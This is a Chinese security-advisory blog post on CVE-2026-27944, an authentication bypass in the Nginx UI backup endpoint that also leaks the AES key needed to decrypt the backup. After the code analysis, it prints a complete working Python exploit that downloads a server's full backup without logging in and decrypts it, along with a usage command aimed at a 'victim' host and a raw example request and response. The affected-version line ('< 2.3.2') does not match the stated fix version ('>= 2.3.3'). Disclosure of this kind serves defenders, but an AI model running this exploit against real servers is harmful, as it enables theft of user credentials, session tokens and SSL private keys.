首页 网络安全 正文
  • 本文约6912字,阅读需35分钟
  • 1
  • 0

Nginx UI 权限绕过与备份解密CVE-2026-27944

摘要

栋科技漏洞库关注到 Nginx UI 低于 2.3.3 版本中的存在的一个权限绕过与备份解密漏洞,追踪为CVE-2026-27944,CVSS 3.X评分9.8。

Nginx UI 是一款开源、现代化、基于 Web的 Nginx 可视化管理工具,由 0xJacky 与 Hintay 开发,该平台采用 Go + Vue 3 技术栈构建。

一、基本情况

Nginx UI 是一个用于管理 Nginx 服务器开源网页界面工具,以单二进制文件部署,主打可视化配置、AI 辅助、集群管理、SSL 自动化。

Nginx UI 权限绕过与备份解密CVE-2026-27944

Nginx UI 是现代化 Nginx 管理一站式解决方案,以可视化 + AI + 自动化 + 集群管理为核心,将复杂命令行操作转化为直观 Web 界面。

栋科技漏洞库关注到 Nginx UI 低于 2.3.3 版本中的存在的一个权限绕过与备份解密漏洞,追踪为CVE-2026-27944,CVSS 3.X评分9.8。

二、漏洞分析

CVE-2026-27944漏洞是位于 Nginx UI 受影响版本中存在的权限绕过与备份解密漏洞,该漏洞可能导致攻击者获取服务器的敏感数据。

具体来说,该漏洞是由两个关键的安全漏洞导致的,首先是漏洞源于`/api/backup` 接口存在权限控制缺陷,允许未经身份验证的访问。

同时,该接口在响应头的 `X-Backup-Security` 字段中错误地公开了用于加密备份文件的密钥,这就使得无需身份验证即可访问该端点。

未经身份验证的远程攻击者可以直接下载完整系统备份文件,并利用X-backup-Security响应头中的公开解密备份所需的加密密钥解密。

远程攻击者可直接窃取服务器的敏感数据,包括用户凭据、会话令牌、SSL 私钥以及 Nginx 配置文件等完整系统备份,潜在风险极大。

具体分析来说,该漏洞是由于两个关键的安全漏洞造成的:

1、缺少/api/backup终结点上的身份验证

api/backup/router.go:9中,备份端点是在没有任何身份验证中间件的情况下注册的:

func InitRouter(r *gin.RouterGroup) {
    r.GET("/backup", CreateBackup)  // No authentication required
    r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)  // Has middleware
}

为了进行比较,还原端点正确地使用了中间件,而备份端点则完全打开。

2、HTTP响应头中公开的加密密钥

api/backup/backup.go:22-33中,AES-256加密密钥和IV以明文形式通过X-backup-Security标头发送:

func CreateBackup(c *gin.Context) {
    result, err := backup.Backup()
    if err != nil {
        cosy.ErrHandler(c, err)
        return
    }

    // Concatenate Key and IV
    securityToken := result.AESKey + ":" + result.AESIv  // Keys sent in header

    // ...
    c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone

    // Send file content
    http.ServeContent(c.Writer, c.Request, fileName, modTime, reader)
}

加密密钥是Base64编码的AES-256密钥(32字节)和IV(16字节),格式为key:iv

3、备份内容

备份存档(在internal/backup/backup.go中创建)包含:

// Files included in backup:
- nginx-ui.zip (encrypted)
  └── database.db          // User credentials, session tokens
  └── app.ini              // Configuration with secrets
  └── server.key/cert      // SSL certificates

- nginx.zip (encrypted)
  └── nginx.conf           // Nginx configuration
  └── sites-enabled/*      // Virtual host configs
  └── ssl/*                // SSL private keys

- hash_info.txt (encrypted)
  └── SHA-256 hashes for integrity verification

所有文件都使用AES-256-CBC加密,但密钥在响应中公开。

三、POC概念验证

1、Python script

#!/usr/bin/env python3

"""
POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security

Usage:
  python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt
"""

import argparse
import base64
import os
import sys
import urllib.parse
import urllib.request
import zipfile
from io import BytesIO

try:
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
except ImportError:
    print("Error: pycryptodome required for decryption")
    print("Install with: pip install pycryptodome")
    sys.exit(1)

def _parse_keys(hdr_val: str):
    """
    Parse X-Backup-Security header format: "base64_key:base64_iv"
    Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
    """
    v = (hdr_val or "").strip()

    # Format is: key:iv (both base64 encoded)
    if ":" in v:
        parts = v.split(":", 1)
        if len(parts) == 2:
            return parts[0].strip(), parts[1].strip()

    return None, None

def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    """Decrypt using AES-256-CBC with PKCS#7 padding"""
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)

    if len(key) != 32:
        raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)")
    if len(iv) != 16:
        raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)

def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):
    """Extract and decrypt the backup archive"""
    print(f"\n[*] Extracting encrypted backup to {output_dir}")

    os.makedirs(output_dir, exist_ok=True)

    # Extract the main ZIP (contains encrypted files)
    with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:
        print(f"[*] Main archive contains: {main_zip.namelist()}")
        main_zip.extractall(output_dir)

    # Decrypt each file
    encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]

    for filename in encrypted_files:
        filepath = os.path.join(output_dir, filename)
        if not os.path.exists(filepath):
            print(f"[!] Warning: {filename} not found")
            continue

        print(f"[*] Decrypting {filename}...")

        with open(filepath, "rb") as f:
            encrypted = f.read()

        try:
            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)

            # Write decrypted file
            decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted"
            with open(decrypted_path, "wb") as f:
                f.write(decrypted)

            print(f"    → Saved to {decrypted_path} ({len(decrypted)} bytes)")

            # If it's a ZIP, extract it
            if filename.endswith(".zip"):
                extract_dir = os.path.join(output_dir, filename.replace(".zip", ""))
                os.makedirs(extract_dir, exist_ok=True)
                with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:
                    inner_zip.extractall(extract_dir)
                    print(f"    → Extracted {len(inner_zip.namelist())} files to {extract_dir}")

        except Exception as e:
            print(f"    ✗ Failed to decrypt {filename}: {e}")

    # Show hash info
    hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted")
    if os.path.exists(hash_info_path):
        print(f"\n[*] Hash info:")
        with open(hash_info_path, "r") as f:
            print(f.read())

def main():
    ap = argparse.ArgumentParser(
        description="Nginx UI - Unauthenticated backup download with key disclosure"
    )
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
    ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup")
    ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download")
    ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files")

    args = ap.parse_args()

    url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")

    # Unauthenticated request to the backup endpoint
    req = urllib.request.Request(url, method="GET")

    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            hdr = resp.headers.get("X-Backup-Security", "")
            key, iv = _parse_keys(hdr)
            data = resp.read()
    except urllib.error.HTTPError as e:
        print(f"[!] HTTP Error {e.code}: {e.reason}")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

    with open(args.out, "wb") as f:
        f.write(data)

    # Key/IV disclosure in response header enables decryption of the downloaded backup
    print(f"\nX-Backup-Security: {hdr}")
    print(f"Parsed AES-256 key: {key}")
    print(f"Parsed AES IV    : {iv}")

    if key and iv:
        # Verify key/IV lengths
        try:
            key_bytes = base64.b64decode(key)
            iv_bytes = base64.b64decode(iv)
            print(f"\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)")
            print(f"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)")
        except Exception as e:
            print(f"[!] Error decoding keys: {e}")
            sys.exit(1)

        if args.decrypt:
            try:
                extract_backup(args.out, key, iv, args.extract_dir)

            except Exception as e:
                print(f"\n[!] Decryption failed: {e}")
                import traceback
                traceback.print_exc()
                sys.exit(1)
    else:
        print("\n[!] Failed to parse encryption keys from X-Backup-Security header")
        print(f"    Header value: {hdr}")

if __name__ == "__main__":
    main()
# Download and decrypt backup (no authentication required)
# pip install pycryptodome
python poc.py --target http://victim:9000 --decrypt

管理员已设置登录后刷新可查看

2、HTTP请求(原始)

GET /api/backup HTTP/1.1
Host: victim:9000

无需身份验证-此请求将成功并返回:

- 加密备份为ZIP文件
- X-Backup-Security标头中的加密密钥

3、示例响应

HTTP/1.1 200 OK
Content-Type: application/zip
Content-Disposition: attachment; filename=backup-20260129-120000.zip
X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==

[Binary ZIP data]

4、X-Backup-Security标头包含:

- Key:e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=(Base64编码的32字节AES-256密钥)

- IV: 7XdVSRcgYfWf7C/J0IS8Cg==(Base64编码的16字节IV)

Nginx UI 权限绕过与备份解密CVE-2026-27944

四、影响范围

Nginx UI < 2.3.2

五、修复建议

Nginx UI >= 2.3.3

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接